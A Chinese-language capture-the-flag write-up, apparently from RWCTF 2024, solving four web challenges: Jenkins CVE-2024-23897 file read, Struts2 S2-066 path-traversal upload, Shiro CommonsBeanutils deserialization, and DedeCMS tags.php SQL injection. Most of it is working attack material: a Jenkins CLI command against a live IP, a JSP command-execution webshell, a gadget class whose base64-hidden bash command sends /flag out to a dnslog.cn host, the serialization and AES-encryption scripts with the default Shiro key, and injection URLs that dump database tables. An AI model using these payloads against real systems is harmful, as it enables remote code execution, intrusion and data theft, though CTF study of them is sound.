web

Be-a-Security-Researcher

信息收集,这是一个Jenkins的网站

微信搜这个网站的漏洞,可以得到Jenkins 任意文件读取漏洞(CVE-2024-23897)

CVE-2024-23897|Jenkins任意文件读取漏洞(POC)

先下载一个 jenkins-cli.jar

之后执行

java -jar jenkins-cli.jar -s http://47.96.171.129:8080/ who-am-i "@/flag"

即可得到flag。

Be-More-Elegant

Struts2 文件上传 S2-066

参考链接:Apache Struts2 文件上传分析(S2-066)

先看源码:

JspFilter

package be.more.elegant.filter;

import java.io.IOException;
import javax.servlet.Filter;
import javax.servlet.FilterChain;
import javax.servlet.ServletException;
import javax.servlet.ServletRequest;
import javax.servlet.ServletResponse;
import javax.servlet.http.HttpServletRequest;

public class JspFilter implements Filter {
public JspFilter() {
}

public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
String path = ((HttpServletRequest)request).getServletPath();
if (path.startsWith("/views") || !path.endsWith("jsp") && !path.endsWith("jspx")) {
chain.doFilter(request, response);
} else {
throw new ServletException("jsp not allowed");
}
}
}

HeaderIconAction

package be.more.elegant;

import com.opensymphony.xwork2.ActionSupport;
import java.io.File;
import java.security.MessageDigest;
import java.security.NoSuchAlgorithmException;
import javax.servlet.http.HttpServletRequest;
import org.apache.commons.io.FileUtils;
import org.apache.struts2.action.ServletRequestAware;

public class HeaderIconAction extends ActionSupport implements ServletRequestAware {
public static final File UPLOAD_DIR = new File(HeaderIconAction.class.getClassLoader().getResource("../../statics/").getFile(), "uploads");
private HttpServletRequest request;
private String uploadedPath;
private File fileUpload;
private String fileUploadContentType;
private String fileUploadFileName;

public HeaderIconAction() {
}

public String execute() throws Exception {
return "input";
}

public String doUpload() {
try {
String remoteAddr = this.request.getRemoteAddr();
String md5ForIp = this.md5Ip(remoteAddr);
File sandBox = new File(UPLOAD_DIR, md5ForIp);
File fileToCreate = new File(sandBox, this.fileUploadFileName);
FileUtils.copyFile(this.fileUpload, fileToCreate);
this.uploadedPath = "statics/uploads/" + md5ForIp + "/" + this.fileUploadFileName;
return "success";
} catch (Exception var5) {
return "error";
}
}

public String md5Ip(String ip) throws NoSuchAlgorithmException {
MessageDigest md = MessageDigest.getInstance("MD5");
md.update(ip.getBytes());
byte[] digest = md.digest();
StringBuilder sb = new StringBuilder();
byte[] var5 = digest;
int var6 = digest.length;

for(int var7 = 0; var7 < var6; ++var7) {
byte b = var5[var7];
sb.append(String.format("%02x", b & 255));
}

return sb.toString();
}

public File getFileUpload() {
return this.fileUpload;
}

public void setFileUpload(File fileUpload) {
this.fileUpload = fileUpload;
}

public String getFileUploadContentType() {
return this.fileUploadContentType;
}

public void setFileUploadContentType(String fileUploadContentType) {
this.fileUploadContentType = fileUploadContentType;
}

public String getFileUploadFileName() {
return this.fileUploadFileName;
}

public void setFileUploadFileName(String fileUploadFileName) {
this.fileUploadFileName = fileUploadFileName;
}

public String getUploadedPath() {
return this.uploadedPath;
}

public void withServletRequest(HttpServletRequest httpServletRequest) {
this.request = httpServletRequest;
}
}

只能解析/views目录下的.jsp文件,因此把jsp马上传到/views

Struts2的版本是6.3.0,这个版本的Struts2存在S2-066,在文件上传的时候可以路径穿越。

这里注意的是,上传时,要先用fileUpload参数上传成功一次,之后再用FileUpload上传,即可实现路径穿越。

jsp马:

<%
java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();
int a = -1;
byte[] b = new byte[2048];
out.print("<pre>");
while((a=in.read(b))!=-1){
out.println(new String(b));
}
%>

访问/views/test.jsp,即可rce,执行/readflag即可得到flag。

Old-Shiro

反编译jar包,可以看到账号密码,还看到了Cookie有一个rememberMe_rwctf_2024,是Shiro反序列化的入口。

查看依赖有cb-1.9.2,接下来用cb链去打。

因为header长度的限制,不能发送过长的Cookie,payload的长度有限制。

把没用的header都去掉,POST改成GET,最终可以发送2900左右的字符,因此生成的payload长度要在2900以内。

MyClassLoader

package ysoserial;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

public class MyClassLoader extends AbstractTranslet {
static {
try {
String[] cmdArray = {"bash","-c","{echo,Y3VybCBgY2F0IC9mbGFnfGJhc2U2NGAuNmtxeGd2LmRuc2xvZy5jbg==}|{base64,-d}|{bash,-i}"};
Runtime.getRuntime().exec(cmdArray);
} catch (Exception e) {
}
}

@Override
public void transform(DOM document, SerializationHandler[] handlers) {

}

@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) {

}
}


cmdArray里主要执行的命令是

curl `cat /flag|base64`.6kqxgv.dnslog.cn

CommonsBeanutilsShiroPayload

package ysoserial.CB;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import org.apache.commons.beanutils.BeanComparator;
import java.io.FileOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Collections;
import java.util.PriorityQueue;


public class CommonsBeanutilsShiroPayload{
public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public static void main(String[] args) throws Exception {
//1.构造TemplatesImpl对象,其中code就是读取第一步构造好的类加载器。
byte[] code = Files.readAllBytes(Paths.get("E:\\ctf_ide\\ysoserial-master\\target\\classes\\ysoserial\\MyClassLoader.class"));
System.out.println(code.length);
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][] {code});
setFieldValue(obj, "_name", "test");
//setFieldValue(obj, "_tfactory", new TransformerFactoryImp);


//2.实例化BeanComparator,其中comparator的部分就用我们找到的替换类
// BeanComparator comparator = new BeanComparator(null,String.CASE_INSENSITIVE_ORDER);
BeanComparator comparator = new BeanComparator(null, Collections.reverseOrder());

//3.实例化优先队列PriorityQueue,如下因为我们上面comparator是String类型,所以在add的时候要用String类型的字符串。
PriorityQueue queue = new PriorityQueue(2,comparator);
queue.add(1);
queue.add(1);

//4.反射将property 的值设置成恶意的outputProperties ,将队列里的两个1替换成恶意的TemplateImpl 对象
setFieldValue(comparator, "property", "outputProperties");
setFieldValue(queue, "queue", new Object[]{obj, obj});

//5.序列化到文件
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("test.bin"));
oos.writeObject(queue);
oos.close();
}
}

最终将生成的test.binAES加密并base64编码,即可得到长度为2860的payload。

import sys
import base64
import uuid
from random import Random
import subprocess
from Crypto.Cipher import AES


def get_file_data(filename):
with open(filename,'rb') as f:
data = f.read()
return data

def aes_enc(data):
BS = AES.block_size
pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
key = "kPH+bIxk5D2deZiIxcaaaA=="
mode = AES.MODE_CBC
iv = uuid.uuid4().bytes
encryptor = AES.new(base64.b64decode(key), mode, iv)
ciphertext = base64.b64encode(iv + encryptor.encrypt(pad(data)))
return ciphertext

if __name__ == '__main__':
# test.bin为编译好的序列化链的内容
data = get_file_data("test.bin")
exp = aes_enc(data)
print(exp)
print(len(exp))

# b'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'
# 2860

发送过去

在dnslog得到base64编码后的flag,解码即可得到flag

rwctf{Sh0rT3r_Byt3c0d3_m4K3_L1f3_E4s13r}

YourSqlTrick

Dedecms v5.7.111前台tags.php SQL注入漏洞

参考链接: Dedecms v5.7.111前台tags.php SQL注入漏洞

抓包,可以在回显位2那里看到回显

tag=a/alias/about%27and{`\%27`%20id}%3E0.1union%20select%201,group_concat(table_name),123,4,5,6,7,8,9,10,11%20from%20information_schema.tables%20where%20table_schema=database()--%20\\

库名

a/alias/about%27and{`\%27`%20id}%3E0.1union%20select%201,database(),3,4,5,6,7,8,9,10,11--%20\\

得到

dedecmsv57utf8sp2

表名

a/alias/about%27and{`\%27`%20id}%3E0.1union%20select%201,group_concat(table_name),3,4,5,6,7,8,9,10,11%20from%20information_schema.tables%20where%20table_schema=database()--%20\\

得到

dede_downloads,dede_advancedsearch,dede_myadtype,dede_member_type,dede_uploads,dede_member_tj,dede_mytag,dede_admin,dede_admintype,dede_member_model,dede_area,dede_addonarticle,dede_addoninfos,dede_flinktype,dede_member_person,dede_purview,dede_member_snsmsg,dede_shops_products,dede_member_space,dede_member_group,dede_freelist,dede_addonspec,dede_softconfig,dede_arccache,dede_plus_seoinfo,dede_co_onepage,dede_sys_set,dede_vote_member,dede_member_operation,flag,dede_myad,dede_tagindex,dede_member_feed,dede_addonshop,dede_sys_enum,dede_sysconfig,dede_archives_log_list,dede_dl_log,dede_member_friends,dede_flink,dede_erradd,dede_sys_module,dede_homepageset,dede_member_vhistory,dede_shops_userinfo,dede_feedback,dede_taglist,dede_payment,dede_channeltype,dede_co_urls,dede_co_note,dede_moneycard_record,dede_search_cache,dede_member_pms,dede_member_company,dede_shops_delivery,dede_addonsoft,dede_diyforms,dede_stepselect,dede_co_htmls,dede_member_guestbook,dede_archives_log_detail,dede_addonimages,dede_scores,dede_arctiny,dede_archives,dede_member_flink,dede_member_msg,dede_sys_task,dede_sgpage,dede_pwd_tmp,dede_keywords,dede_moneycard_type,dede_member_stowtype,dede_arcatt,dede_shops_orders,dede_search_keywords,dede_arctype,dede_verifies,dede_log,dede_plus,dede_multiserv_config,dede_arcmulti,dede_member_stow,dede_member,dede_ratings,dede_vote,dede_arcrank,dede_co_mediaurls,dede_mtypes

有一个flag的表,接下来注flag

列名

跑出flag表的列名

a/alias/about%27and{`\%27`%20id}%3E0.1union%20select%201,group_concat(column_name),3,4,5,6,7,8,9,10,11%20from%20information_schema.columns%20where%20table_schema=database()%20and%20table_name='flag'--%20\\

得到

flag_value

数据

注出flag表中的数据

a/alias/about%27and{`\%27`%20id}%3E0.1union%20select%201,concat(flag_value),3,4,5,6,7,8,9,10,11%20from%20flag--%20\\

得到

rwctf{70adbbd8-b9da-11ee-9b1e-00163e01b905}